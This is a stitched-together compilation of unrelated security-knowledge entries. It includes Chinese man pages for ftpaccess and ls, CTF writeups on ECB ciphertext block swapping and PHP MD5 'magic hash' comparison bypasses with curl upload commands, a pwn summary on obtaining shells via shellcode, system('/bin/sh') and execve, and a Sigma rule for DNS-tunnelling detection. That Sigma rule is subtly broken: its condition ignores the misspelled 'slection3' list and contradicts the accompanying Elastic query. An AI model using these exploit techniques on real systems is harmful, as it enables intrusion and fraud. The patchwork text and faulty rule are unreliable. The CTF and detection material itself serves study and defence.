启动对真实的或匿名的FTP使用者的档案传输记录。对传输到伺服器(进来)的记录可以跟从伺服器传输(出去)分开来启动。<类型列表>是一个以任何的"anonymous","guest"及"real"关键字所组成使用逗点隔开的列表。如果其中包含有"real"关键字,将会为使用FTP存取真实帐号的使用者做记录,而如果包含"anonymous"关键字则将会为使用匿名FTP的使用者做记录。而"guest"关键字符合访客存取帐号(参阅"guestgroup"以取得更多资讯)。<目录>是一个以任何的"inbound"以及"outbound"两个关键字所组成以逗点隔开的列表,而且将会分别引发对送往该伺服器以及从该伺服器送出的传输记录。
.PP
其它功能(MiscellaneousCapabilities)
.TP
alias<字串><目录>
为一个目录定义一个别名,<字串>。可以用来加入逻辑目录的其它概念。
例如:
aliasrfc:/pub/doc/rfc
允许使用者从任何目录以指令"cdrfc:"存取/pub/doc/rfc。别名只应用於cd指令上。
.TP
cdpath<目录>
定义cdpath里的一个项目。这定义一个在改变目录时使用的搜寻路径。
例如:
.nf
cdpath/pub/packages
cdpath/.aliases
.fi
允许使用者直接cd到任何/pub/packages或/.alias目录以下的目录。该搜寻路径系以该行出现在ftpaccess档案里的顺序定义。
如果使用者所下的指令是:
.nf
cdfoo
.fi
则会以下列的顺序搜寻该目录:
.I ./foo
一个称为"foo"的别名
.I /pub/packages/foo
.I /.aliases/foo
该cdpath只能够配合cd指令使用。如果你有数量很大的别名那麽你可能想要设立一个目录别名链结到所有你希望能让使用者使用的区域。
.TP
.nf
compress[...]
tar[...]
.fi
为任何符合任何的类别启动压缩(compress)或包裹(tar)功能。实际的转换(conversions)定义在外部的档案FTPLIB/ftpconversions之中。
.TP
shutdown<路径>
如果<路径>所指的档案存在,伺服器将会规律地检查该档案以便得知该伺服器是否将要被停机。如果计画一次停机,则会通告使用者,新的连线在停机之前的一段指定的时间之後会被拒绝且目前的连线在停机之前的一段指定的时间之後会被停止。<路径>指到一个结构如下的档案:
.nf
<年><月><日><时><分><拒绝_期间><抛弃_期间><本文>
.fi
.RS
.TP
<年>
任何>1970的年份
.TP
<月>
0-11<----注意!
.TP
<时>
0-23
.TP
<分>
0-59
.RE
<拒绝_期间>以及<抛弃_期间>是在停机之前新的连线将会被拒绝以及存在的连线将会被抛弃的一段格式为HHMM的期间。
<本文>跟从任何讯息(参阅"message")的一般规则,配合下列额外可用的代换变数:
.RS
.TP
%s
系统将要停机的时间
.TP
%r
新的连线将会被拒绝的时间
.TP
%d
目前的连线将会被抛弃的时间
.RE
所有时间的格式都是:dddMMMDDhh:mm:ssYYYY。在该配置档中只能有一个"shutdown"指令。
外部程式ftpshut(8)可以用来自动化产生这个档案的程序。
.PP
许可功能(PermissionCapabilities)
.TP
.nf
chmod<类型列表>
delete<类型列表>
overwrite<类型列表>
umask<类型列表>
.fi
允许或不允许执行指定功能的能力。依照预设值,允许所有的使用者执行。
<类型列表>是一个以任何"anonymous","guest"及"real"关键字所组成使用逗点隔开的列表。
.TP
passwd-check()
定义该伺服器对匿名ftp密码检查的层级与执行。
.RS
.TP
none
不执行密码检查。
.TP
trivial
密码中必须包含一个'@'字元。
.TP
rfc822
密码必须是一个rfc822相容的位址。
.TP
warn
警告该使用者,但是允许他们签入。
.TP
enforce
警告该使用者,并且接著将之踢出。
.RE
.TP
path-filter<类型列表><讯息><允许的字元集>{<不允许的正规表示式>...}
对於属於<类型列表>的使用者,path-filter定义控制何种档案名称允许或不允许的正规表示式(regularexpressions)。可以有多个不允许的正规表示式。如果一个档案名称因为不符合正规表示式的标准而无效的话,将会显示<讯息>给该使用者。例如:
.nf
path-filteranonymous/etc/pathmsg^[-A-Za-z0-9._]*$^.^-
.fi
指定所有匿名使用者所上传的档案名称只能以A-Z,a-z,0-9以及"._-"组成而且不能以一个"."或是一个"-"开始。如果该档案名称是不合法的,则将会显示/etc/pathmsg给该使用者。
.TP
upload<拥有者><群组>["dirs"|"nodirs"]
配合定义一个认可或拒绝上传的目录。
如果其认可上传,所有档案将会由<拥有者>以及<群组>所拥有而且将会具有根据设置的权限(permission)。
目录系以最佳-符合(best-match)为基础。
例如:
.nf
upload*no
upload/incomingyesftpdaemon0666
upload/incoming/gifsyesjlcguest0600
nodirs
.fi
这将仅允许上传到/incoming以及/incoming/gifs。上传到/incoming的档案将由ftp/daemon所拥有并且具有0666的权限。上传到/incoming/gifs的档案将由jlc/guest拥有并且具有0600的权限。
选择性的"dir"以及"nodir"关键字可以指定允许或不允许使用mkdir指令建立新的子目录。
该upload关键字只应用於匿名的使用者。
.SH "文件 FILES"
FTPLIB/ftpaccess
.SH "[中文版维护人]"
.B <asdchen@pc2.hinet.net>
.SH "[中文版最新更新]"
.B 1995/12/26
.SH "《中国 Linux 论坛 man 手册页翻译计划》:"
.BI http://cmpp.linuxforum.net
|
sec-knowleage
|
# Writeup HITCON CTF 2016 Finals
Team: msm, akrasuski1, rev, shalom
### Remarks
HITCON Finals are Attack-Defense, so there are no tasks suitable for a writeup.
Nevertheless, when preparing for this event we were looking for some information about what to expect, and sadly there was little to be found.
So for some future generations:
* Event took 2 days, about 8h each, with a break for the night in between.
* There were pwn and web tasks.
* Initially everyone started with 1 pwn and 1 web, and then tasks were being added. Pwn services were stacking, so in the end there were 3 services to work with. Web services were removed after some time.
* There were significant bonus points for first blood.
* Pcap files from our network gateway were available on ftp after ~15 minutes.
* We did not have root access to the game servers, and the privileges we had allowed only for deploying the applications and in case of pwn also to patch it. In case of web you have to exploit the application to be able to patch it (or in some cases just drop a shell to directory where it's going to deploy).
|
sec-knowleage
|
# Pay2Win (web 200)
###ENG
[PL](#pl-version)
In the task we have a webpage where we can purchase some cheap object and a flag.
Flag is much more expensive.
Once we click on the item to purchase we can see a page with details and we have to put credit card number to confirm the purchase.
We notice instantly that the webpage with item details has the same URL, with different long hash-looking value.
After fiddling with this we figure it's a 8-bytes block encryption ECB ciphertext.
This means we can split and combine blocks in different order to get some funny results.
This way we can "assemble" items with strange names and strange prices.
After that we tried actually buying an item.
We can't buy the flag with some fake credit card number, but we can buy the other item.
And the purchase results webpage has exactly the same layout at item details - again there is one URL and the same looking ECB ciphertext.
So we fiddle again and see what we can assemble from the correct confirmation and the incorrect confirmation.
And we combine the valid cheap confirmation:
```
5765679f0870f430
9b1a3c83588024d7
c146a4104cf9d2c8
d3d78d0842397676
28df361f896eb3c3
706cda0474915040
```
With invalid flag confirmation:
```
232c66210158dfb2
3a2eda5cc945a0a9
650c1ed0fa0a08f6
a7ef23b6d345dd42
f1380b66410fa383
2f7ef761e2bbe791
```
To get the valid flag confirmation:
```
5765679f0870f430
9b1a3c83588024d7
650c1ed0fa0a08f6
a7ef23b6d345dd42
f1380b66410fa383
2f7ef761e2bbe791
```
And the flag: `33C3_3c81d6357a9099a7c091d6c7d71343075e7f8a46d55c593f0ade8f51ac8ae1a8`
###PL version
W zadaniu dostajemy stronę internetową na której można kupić jakiś tani obiekt oraz flagę.
Flaga jest dużo droższa.
Kiedy klikniemy na wybrany obiekt dostajemy stronę ze szczegółami obiektu oraz miejsce na podanie numeru karty kredytowej.
Zauważyliśmy szybko, że strona ze szczegółami ma ten sam URL oraz długi parametr wyglądający jak hash.
Po zabawie z tym parametrem doszliśmy do wniosku że to dane szyfrowane 8-bajtowym szyfrem blokowym w trybie ECB.
To oznacza że możemy mieszać bloki i składać z nich nowe szyfrogramy, uzyskując ciekawe rezultaty jak dziwne nazwy oraz ceny.
Następnie spróbowaliśmy kupić coś.
Nie mogliśmy kupić flagi bo strona twierdziła że nasz fałszywy numer karty kredytowej przekroczył limit, ale mogliśmy kupic drugi obiekt.
Po kupieniu przenosimy się na stronę ze szczegółami kupna, która wygląda bardzo podobnie - znowu jest tam jeden URL i szyfrogram.
Ponownie postanowiliśmy pobawić się w mieszanie bloków, tym razem z szyfrogramu z nieudaną próbą kupna flagi oraz z udanym kupnem innego obiektu.
Finalnie łączymy udane kupno:
```
5765679f0870f430
9b1a3c83588024d7
c146a4104cf9d2c8
d3d78d0842397676
28df361f896eb3c3
706cda0474915040
```
Z nieudanym kupnem flagi:
```
232c66210158dfb2
3a2eda5cc945a0a9
650c1ed0fa0a08f6
a7ef23b6d345dd42
f1380b66410fa383
2f7ef761e2bbe791
```
Dostając udane kupno flagi:
```
5765679f0870f430
9b1a3c83588024d7
650c1ed0fa0a08f6
a7ef23b6d345dd42
f1380b66410fa383
2f7ef761e2bbe791
```
I samą flagę: `33C3_3c81d6357a9099a7c091d6c7d71343075e7f8a46d55c593f0ade8f51ac8ae1a8`
|
sec-knowleage
|
.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.5.
.\"*******************************************************************
.\"
.\" This file was generated with po4a. Translate the source file.
.\"
.\"*******************************************************************
.TH LS 1 2022年9月 "GNU coreutils 9.1" 用户命令
.SH 名称
ls \- 列出目录内容
.SH 概述
\fBls\fP [\fI\,选项\/\fP]... [\fI\,文件列表\/\fP]...
.SH 描述
.\" Add any additional description here
.PP
列出指定“文件”(默认为当前目录)的信息。如果既没有指定 \fB\-cftuvSUX\fP 中任何一个,也没有指定 \fB\-\-sort\fP,则按字母排序项目。
.PP
必选参数对长短选项同时适用。
.TP
\fB\-a\fP, \fB\-\-all\fP
不要忽略以点号(“.”)起始的条目
.TP
\fB\-A\fP, \fB\-\-almost\-all\fP
不要列出隐含的 . 和 ..
.TP
\fB\-\-author\fP
与 \fB\-l\fP 同时使用时,列出每个文件的作者
.TP
\fB\-b\fP, \fB\-\-escape\fP
将无法显示的字符显示为C风格的转义形式
.TP
\fB\-\-block\-size\fP=\fI\,大小\/\fP
与 \fB\-l\fP 同时使用时,打印文件大小前将其除以指定的块大小;例如:"\-\-block\-size=M";参见下方的“大小”格式
.TP
\fB\-B\fP, \fB\-\-ignore\-backups\fP
不要列出以 ~ 结尾的项目
.TP
\fB\-c\fP
与 \fB\-lt\fP 一起使用时:按照 ctime 排序,并显示 ctime(文件状态信息最后变更的时间);与 \fB\-l\fP 一起使用时:显示 ctime
并按照名称排序;其它情况:按照 ctime 排序,最新的最前
.TP
\fB\-C\fP
逐列列出项目
.TP
\fB\-\-color\fP[=\fI\,何时\/\fP]
指定何时使用彩色输出;更多信息请见下文
.TP
\fB\-d\fP, \fB\-\-directory\fP
列出目录本身,而不是目录的内容
.TP
\fB\-D\fP, \fB\-\-dired\fP
产生适合 Emacs 的 dired 模式使用的输出
.TP
\fB\-f\fP
按照目录顺序列出各项目
.TP
\fB\-F\fP, \fB\-\-classify\fP[=\fI\,何时\/\fP]
指定何时在项目后追加指示符号(*/=@| 中的一个)
.TP
\fB\-\-file\-type\fP
类似,但不追加 "*" 字符
.TP
\fB\-\-format\fP=\fI\,关键字\/\fP
across 同 \fB\-x\fP、commas 同 \fB\-m\fP、horizontal 同 \fB\-x\fP、long 同 \fB\-l\fP、single\-column
同 \fB\-1\fP、verbose 同 \fB\-l\fP、vertical 同 \fB\-C\fP
.TP
\fB\-\-full\-time\fP
等于 \fB\-l\fP \fB\-\-time\-style\fP=\fI\,full\-iso\/\fP
.TP
\fB\-g\fP
类似 \fB\-l\fP,但不列出所有者
.TP
\fB\-\-group\-directories\-first\fP
将目录排在文件前面;此选项可与 \fB\-\-sort\fP 一起使用,但是一旦使用 \fB\-\-sort\fP=\fI\,none\/\fP (\fB\-U\fP) 则禁用此选项
.TP
\fB\-G\fP, \fB\-\-no\-group\fP
使用长列表格式时,不输出组名
.TP
\fB\-h\fP, \fB\-\-human\-readable\fP
同时使用 \fB\-l\fP 或 \fB\-s\fP 时,将大小表示为 1K 234M 2G 等
.TP
\fB\-\-si\fP
类似,但是使用1000的乘方,不使用1024
.TP
\fB\-H\fP, \fB\-\-dereference\-command\-line\fP
跟随命令行中列出的符号链接
.TP
\fB\-\-dereference\-command\-line\-symlink\-to\-dir\fP
跟随命令行中列出的、指向目录的符号链接
.TP
\fB\-\-hide\fP=\fI\,模式\/\fP
隐藏符合指定 shell 模式的项目(\fB\-a\fP 或 \fB\-A\fP 使此选项失效)
.TP
\fB\-\-hyperlink\fP[=\fI\,何时\/\fP]
指定何时使用超链接显示文件名
.TP
\fB\-\-indicator\-style\fP=\fI\,关键字\/\fP
指定在项目名称后追加的指示符号的风格:none(默认)、slash(同 \fB\-p\fP)、file\-type(同
\fB\-\-file\-type\fP)、classify(同 \fB\-F\fP)
.TP
\fB\-i\fP, \fB\-\-inode\fP
显示每个文件的索引编号(inode 号)
.TP
\fB\-I\fP, \fB\-\-ignore\fP=\fI\,模式字符串\/\fP
隐藏符合给定 shell 模式字符串的项目
.TP
\fB\-k\fP, \fB\-\-kibibytes\fP
显示文件系统使用量时,默认使用 1024 字节的块大小;只用于 \fB\-s\fP 和每个目录的总计
.TP
\fB\-l\fP
使用长列表格式
.TP
\fB\-L\fP, \fB\-\-dereference\fP
显示符号链接的文件信息时,显示符号链接指向的文件的信息,而非符号链接本身的信息
.TP
\fB\-m\fP
所有项目以逗号分隔,并填满整行行宽
.TP
\fB\-n\fP, \fB\-\-numeric\-uid\-gid\fP
类似 \fB\-l\fP,但列出用户和组的 ID 号
.TP
\fB\-N\fP, \fB\-\-literal\fP
输出不加引号的项目名称
.TP
\fB\-o\fP
类似 \fB\-l\fP,但不列出有关组的信息
.TP
\fB\-p\fP, \fB\-\-indicator\-style\fP=\fI\,slash\/\fP
对目录追加 "/" 作为指示符号
.TP
\fB\-q\fP, \fB\-\-hide\-control\-chars\fP
以 "?" 字符代替不可打印的字符
.TP
\fB\-\-show\-control\-chars\fP
原样显示无法打印的字符(这是默认行为,除非被调用时的程序名是 "ls" 且在终端中进行输出)
.TP
\fB\-Q\fP, \fB\-\-quote\-name\fP
在项目名称两侧加上双引号
.TP
\fB\-\-quoting\-style\fP=\fI\,关键字\/\fP
使用指定的加引号方式显示项目名称:literal、locale、shell、shell\-always、shell\-escape、shell\-escape\-always、c、escape(该选项优先于
QUOTING_STYLE 环境变量)
.TP
\fB\-r\fP, \fB\-\-reverse\fP
排序时逆序排列
.TP
\fB\-R\fP, \fB\-\-recursive\fP
递归列出子目录内容
.TP
\fB\-s\fP, \fB\-\-size\fP
显示给每个文件分配的大小,单位为块
.TP
\fB\-S\fP
根据文件大小排序,最大的最前
.TP
\fB\-\-sort\fP=\fI\,关键字\/\fP
按照关键字而非名称进行排序:none(同 \-U)、size(同 \-S)、time(同 \-t)、version(同 \-v)、extension(同
\-X)、width
.TP
\fB\-\-time\fP=\fI\,关键字\/\fP
改变使用的时间类型,默认为修改时间;访问时间(同 \fB\-u\fP):atime、access、use;变更时间(同
\fB\-c\fP):ctime、status;创建时间:birth、creation;
.IP
和 \-l 同时使用时,关键字 指定要显示的时间类型;和 \-\-sort=time 同时使用时,按照关键字进行排序(最新的最前)
.TP
\fB\-\-time\-style\fP=\fI\,时间风格\/\fP
使用 \fB\-l\fP 时显示的时间/日期格式;参见下面“时间风格”的相关内容
.TP
\fB\-t\fP
按时间排序,最新的最前;参见 \fB\-\-time\fP
.TP
\fB\-T\fP, \fB\-\-tabsize\fP=\fI\,列数\/\fP
指定制表符宽度为给定列数,而非默认的 8
.TP
\fB\-u\fP
与 \fB\-lt\fP 同时使用时:显示访问时间且按访问时间排序;与 \fB\-l\fP 同时使用时:显示访问时间但按名称排序;其他情况:按访问时间排序,最新的最前
.TP
\fB\-U\fP
不进行排序;按照目录顺序列出项目
.TP
\fB\-v\fP
对文本中的数字(或版本号)进行自然排序
.TP
\fB\-w\fP, \fB\-\-width\fP=\fI\,列数\/\fP
设置输出宽度为指定列数。0 表示无限制
.TP
\fB\-x\fP
逐行列出项目而不是逐列列出
.TP
\fB\-X\fP
按照扩展名的字母顺序排序
.TP
\fB\-Z\fP, \fB\-\-context\fP
输出每个文件的所有安全上下文信息
.TP
\fB\-\-zero\fP
以 NUL 字符而非换行结束每个输出行
.TP
\fB\-1\fP
每行只列出一个文件
.TP
\fB\-\-help\fP
显示此帮助信息并退出
.TP
\fB\-\-version\fP
显示版本信息并退出
.PP
大小的参数是一个整数,后面可以跟一个单位(例如:10K 指 10*1024)。可用的单位有 K、M、G、T、P、E、Z、Y(1024 的幂)以及
KB、MB、...(1000 的幂)。也可以使用二进制前缀:KiB=K、MiB=M,以此类推。
.PP
时间风格参数可以是 full\-iso、long\-iso、iso、locale,或者“+格式”。“格式”的解析方式同 \fBdate\fP(1)。如果“格式”是
格式1<换行符>格式2 的话,则 格式1 将应用于时间较久远的文件,格式2 将应用于时间较近的文件。“时间风格”如果带有
"posix\-" 前缀,则它只会在区域设置非 POSIX 时生效。另外,可以使用 TIME_STYLE 环境变量设置默认使用的风格。
.PP
“何时”参数的默认值是 "always",也可以设为 "auto" 或 "never"。
.PP
使用颜色来区分文件类型的功能默认禁用,也可以使用 \fB\-\-color\fP=\fI\,never\/\fP 禁用。若使用
\fB\-\-color\fP=\fI\,auto\/\fP 选项,ls 只在标准输出连接至终端时才生成颜色代码。LS_COLORS 环境变量可以改变颜色设置。可以使用
\fBdircolors\fP(1) 命令来设置它。
.SS 退出状态:
.TP
0
表示正常,
.TP
1
表示小问题(例如:无法访问子目录),
.TP
2
表示严重问题(例如:无法使用命令行参数)。
.SH 作者
由 Richard M. Stallman 和 David MacKenzie 编写。
.SH 报告错误
GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBdircolors\fP(1)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/ls>
.br
或者在本地使用: info \(aq(coreutils) ls invocation\(aq
|
sec-knowleage
|
# It is my Birthday
Category: Web, 100 points
## Description
> I sent out 2 invitations to all of my friends for my birthday!
>
> I'll know if they get stolen because the two invites look similar, and they even have the same md5 hash, but they are slightly different!
>
> You wouldn't believe how long it took me to find a collision.
>
> Anyway, see if you're invited by submitting 2 PDFs to my website.
## Solution
The attached website has a form where we can upload two files:
```html
<div class="jumbotron">
<p class="lead"></p>
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<h3>See if you are invited to my party!</h3>
</div>
</div>
<br/>
<div class="upload-form">
<form role="form" action="/index.php" method="post" enctype="multipart/form-data">
<div class="row">
<div class="form-group">
<input type="file" name="file1" id="file1" class="form-control input-lg">
<input type="file" name="file2" id="file2" class="form-control input-lg">
</div>
</div>
<div class="row">
<div class="col-xs-12 col-sm-12 col-md-12">
<input type="submit" class="btn btn-lg btn-success btn-block" name="submit" value="Upload">
</div>
</div>
</form>
</div>
</div>
```
Let's start exploring the logic by uploading the same text file twice:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ echo test > test.txt
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ curl -F 'file1=@test.txt' -F 'file2=@test.txt' -F 'submit=Upload' http://mercury.picoctf.net:50970/index.php
Not a PDF!
```
The website identifies that we've uploaded a text file. How does it determine what kind of file we're uploading? The simplest way would be using the file extension.
```console
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ mv test.txt test.pdf
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ curl -F 'file1=@test.pdf' -F 'file2=@test.pdf' -F 'submit=Upload' http://mercury.picoctf.net:50970/index.php
Files are not different!
```
We passed the "PDF" check, now the website complains that the files are equal, which is true. Note that according to the form action, this is a PHP site. PHP has a known "gotcha" (nicknamed "[Magic Hashes](https://github.com/spaze/hashes)") where if two strings of the form `0e[\d]+` are compared using `==`, the are considered equal (as they are both considered equal to `0` using scientific notation). Therefore, `'0e1' == '00e2' == '0'`. Or, as a practical exploit:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ php -r "echo md5('240610708');"
0e462097431906509019562988736854
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ php -r "echo md5('QNKCDZO');"
0e830400451993494058024219903391
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ php -r "var_dump(md5('240610708') == md5('QNKCDZO'));"
bool(true)
```
So let's try that out before actually trying to generate an MD5 collision:
```console
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ echo -n "240610708" > f1.pdf
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ echo -n "QNKCDZO" > f2.pdf
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ md5sum f1.pdf f2.pdf
0e462097431906509019562988736854 f1.pdf
0e830400451993494058024219903391 f2.pdf
┌──(user@kali)-[/media/sf_CTFs/pico/It_is_my_Birthday]
└─$ curl -F 'file1=@f1.pdf' -F 'file2=@f2.pdf' -F 'submit=Upload' http://mercury.picoctf.net:50970/index.php -s | egrep -o "picoCTF{[^}]+}"
picoCTF{c0ngr4ts_u_r_1nv1t3d_73b0c8ad}
```
The flag: `picoCTF{c0ngr4ts_u_r_1nv1t3d_73b0c8ad}`
|
sec-knowleage
|
# T1071-004-win-内主机向公网DNS发起可疑请求行为
## 来自ATT&CK的描述
攻击者可以使用域名系统(DNS)应用层协议进行通信,以免通过与现有流量混合来进行检测/网络过滤。远程系统的命令(通常是这些命令的结果)将嵌入在客户端和服务器之间的协议流量中。
DNS协议在计算机网络中起管理功能,因此在环境中可能非常常见。即使在完成网络身份验证之前,也可能允许DNS通信。DNS数据包包含许多字段和标头,可以在其中隐藏数据。攻击者通常被称为DNS隧道,可以滥用DNS与受害网络内受其控制的系统进行通信,同时还模仿正常的预期流量。
## 测试案例
检测内部网络客户端何时将DNS流量直接发送到公网上。对于托管网络来说,这是非典型的行为,并且可以指示恶意软件,渗透,命令和控制,或者简单地指出配置错误。此DNS活动还会影响您的组织提供企业监视和DNS日志记录的能力,并使您的网络容易遭受各种滥用和恶意通信。
参考文献:
- https://www.us-cert.gov/ncas/alerts/TA15-240A
- https://nvlpubs.nist.gov/nistpubs/SpecialPublications/NIST.SP.800-81-2.pdf
## 检测日志
Network
## 测试复现
暂无
## 测试留痕
暂无
## 检测规则/思路
### sigma规则
```yml
title: 检测内网主机向公网dns发起可疑请求行为
description: 通过网络流量检测内网主机向公网dns发起可疑请求行为
tags: T1071。004
status: experimental
references:
- https://www.elastic.co/guide/en/siem/guide/current/dns-activity-to-the-internet.html
logsource:
product: network
detection:
selection1:
destination.port: 53
selection2:
source.ip:
- 10.0.0.0/8
- 172.16.0.0/12
- 192.168.0.0/16
slection3:
destination.ip:
- 10.0.0.0/8
- 127.0.0.0/8
- 169.254.169.254/32
- 172.16.0.0/12
- 192.168.0.0/16
- 224.0.0.251
- 224.0.0.252
- ::1
- 255.255.255.255
- ff02::fb
condition: selection1 and not selection2
level: medium
```
### Elastic rule query
```yml
destination.port:53 and source.ip:(10.0.0.0/8 or 172.16.0.0/12 or
192.168.0.0/16) and not destination.ip:(10.0.0.0/8 or 127.0.0.0/8 or
169.254.169.254/32 or 172.16.0.0/12 or 192.168.0.0/16 or 224.0.0.251
or 224.0.0.252 or 255.255.255.255 or "::1" or "ff02::fb")
```
### 建议
从这条规则中排除DNS服务器,因为这是预期的行为。端点通常查询在其DHCP作用域中定义的本地DNS服务器,但是如果用户将其端点配置为使用远程DNS服务器,则可以覆盖该端点。这在受管企业网络中并不常见,因为使用水平分割DNS可能会破坏Intranet名称解析。某些消费者VPN服务和浏览器插件可能会将DNS流量发送到远程Internet目的地。在这种情况下,当这是预期的行为时,可以从此规则中排除此类设备或网络。
## 参考推荐
MITRE-ATT&CK-T1071.004
<https://attack.mitre.org/techniques/T1071/004/>
检测内网主机向公网dns发起可疑请求行为
<https://www.elastic.co/guide/en/siem/guide/current/dns-activity-to-the-internet.html>
|
sec-knowleage
|
# shell 获取小结
## overview
我们获取到的 shell 一般有两种形式
- 直接可交互的 shell
- 将 shell 绑定到指定 ip 的指定端口
下面总结几种常见的获取 shell 的方式。
## shellcode
在利用 shellcode 获取 shell 时,基本要求就是我们能够将 shellcode 布置在**可写可执行的内存区域**中。因此,在没有可写可执行的内存区域的时候,我们需要利用`mprotect` 等函数设置相关内存的权限。
此外,有时候可能 shellcode 中的字符必须满足某些要求,比如可打印字符,字母,数字等等。
## system
我们这里一般是执行 system("/bin/sh"),system('sh') 等函数。
这里我们主要需要找到一些地址,可以参考获取地址的小节。
- system 的地址
- "/bin/sh", “sh” 地址
- binary 里面是否字符串
- 考虑个人读取对应字符串
- libc 中其实是有 /bin/sh 的
在 system 获取 shell 时,一个非常好的优点在于我们只需要布置一个参数就可以了,缺点就是我们在布置参数时,可能因为破坏了环境变量而无法执行。
## execve
执行 execve("/bin/sh",NULL,NULL)。
在利用 `execve` 获取 shell 时,前几条同 system 一致。但它具有一个优点就是几乎不受环境变量的影响。但是缺点在于我们需要布置三个参数。
此外,glibc 中我们还可以使用 one_gadget 来获取 shell。
## syscall
系统调用号 `__NR_execve` 在 IA-32 中为 11,x86-64 为 59。
它的优点在于几乎不受环境变量的影响。然而我们需要找到 `syscall` 之类的系统调用命令。
|
sec-knowleage
|
return
===
从函数中退出并返回数值。
## 概要
```shell
return [n]
```
## 主要用途
- 使得shell函数退出并返回数值,如果没有指定n的值,则默认为函数最后一条命令执行的返回状态。
## 参数
n(可选):整数。
## 返回值
返回值为你指定的参数n的值,如果你指定的参数大于255或小于0,那么会通过加或减256的方式使得返回值总是处于0到255之间。
在函数外执行return语句会返回失败。
## 例子
```shell
#!/usr/bin/env bash
# 定义一个返回值大于255的函数
example() {
return 259
}
# 执行函数
example
# 显示3
echo $?
```
### 注意
1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
|
sec-knowleage
|
# Writeup Boston Key Party CTF 2016
Team: akrasuski1, cr019283, c7f.m0d3, other019, rev, msm, shalom, nazywam, ppr
### Table of contents
* Cookbook (pwn_6)
* Simple Calc (pwn_5)
* hmac_crc (crypto_5)
* [Frog Fractions 2 (reversing_5)](re_5_Frog_Fractions_2)
* segsh (pwn_6)
* Found it? (misc_1)
* [Good Morning (web_3)](web_3_Good_Morning)
* gsilvis counting magic (crypto_9)
* [des ofb (crypto_2)](crypto_2_des_ofb)
* [unholy (reversing_4)](re_4_unholy)
* spacerex (pwn_8)
* [lily.flac (misc_2)](misc_2_lily_flac)
* complex calc (pwn_5)
* [Bug Bounty (web_3)](web_3_Bug_Bounty)
* More Like ZKP (crypto_4)
* qwn2own (pwn_10)
* feistel (crypto_5)
* OptiProxy (web_2)
* bob's hat (crypto_4)
* [Jit in my pants (reversing_3)](re_3_Jit_in_my_pants)
* [ltseorg (crypto_4)](crypto_4_ltseorg)
|
sec-knowleage
|
'\"
'\" Copyright (c) 1996 Sun Microsystems, Inc.
'\"
'\" See the file "license.terms" for information on usage and redistribution
'\" of this file, and for a DISCLAIMER OF ALL WARRANTIES.
'\"
'\" RCS: @(#) $Id: chooseColor.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" The definitions below are for supplemental macros used in Tcl/Tk
'\" manual entries.
'\"
'\" .AP type name in/out ?indent?
'\" Start paragraph describing an argument to a library procedure.
'\" type is type of argument (int, etc.), in/out is either "in", "out",
'\" or "in/out" to describe whether procedure reads or modifies arg,
'\" and indent is equivalent to second arg of .IP (shouldn't ever be
'\" needed; use .AS below instead)
'\"
'\" .AS ?type? ?name?
'\" Give maximum sizes of arguments for setting tab stops. Type and
'\" name are examples of largest possible arguments that will be passed
'\" to .AP later. If args are omitted, default tab stops are used.
'\"
'\" .BS
'\" Start box enclosure. From here until next .BE, everything will be
'\" enclosed in one large box.
'\"
'\" .BE
'\" End of box enclosure.
'\"
'\" .CS
'\" Begin code excerpt.
'\"
'\" .CE
'\" End code excerpt.
'\"
'\" .VS ?version? ?br?
'\" Begin vertical sidebar, for use in marking newly-changed parts
'\" of man pages. The first argument is ignored and used for recording
'\" the version when the .VS was added, so that the sidebars can be
'\" found and removed when they reach a certain age. If another argument
'\" is present, then a line break is forced before starting the sidebar.
'\"
'\" .VE
'\" End of vertical sidebar.
'\"
'\" .DS
'\" Begin an indented unfilled display.
'\"
'\" .DE
'\" End of indented unfilled display.
'\"
'\" .SO
'\" Start of list of standard options for a Tk widget. The
'\" options follow on successive lines, in four columns separated
'\" by tabs.
'\"
'\" .SE
'\" End of list of standard options for a Tk widget.
'\"
'\" .OP cmdName dbName dbClass
'\" Start of description of a specific option. cmdName gives the
'\" option's name as specified in the class command, dbName gives
'\" the option's name in the option database, and dbClass gives
'\" the option's class in the option database.
'\"
'\" .UL arg1 arg2
'\" Print arg1 underlined, then print arg2 normally.
'\"
'\" RCS: @(#) $Id: chooseColor.n,v 1.2 2003/11/24 05:09:59 bbbush Exp $
'\"
'\" # Set up traps and other miscellaneous stuff for Tcl/Tk man pages.
.if t .wh -1.3i ^B
.nr ^l \n(.l
.ad b
'\" # Start an argument description
.de AP
.ie !"\\$4"" .TP \\$4
.el \{\
. ie !"\\$2"" .TP \\n()Cu
. el .TP 15
.\}
.ta \\n()Au \\n()Bu
.ie !"\\$3"" \{\
\&\\$1 \\fI\\$2\\fP (\\$3)
.\".b
.\}
.el \{\
.br
.ie !"\\$2"" \{\
\&\\$1 \\fI\\$2\\fP
.\}
.el \{\
\&\\fI\\$1\\fP
.\}
.\}
..
'\" # define tabbing values for .AP
.de AS
.nr )A 10n
.if !"\\$1"" .nr )A \\w'\\$1'u+3n
.nr )B \\n()Au+15n
.\"
.if !"\\$2"" .nr )B \\w'\\$2'u+\\n()Au+3n
.nr )C \\n()Bu+\\w'(in/out)'u+2n
..
.AS Tcl_Interp Tcl_CreateInterp in/out
'\" # BS - start boxed text
'\" # ^y = starting y location
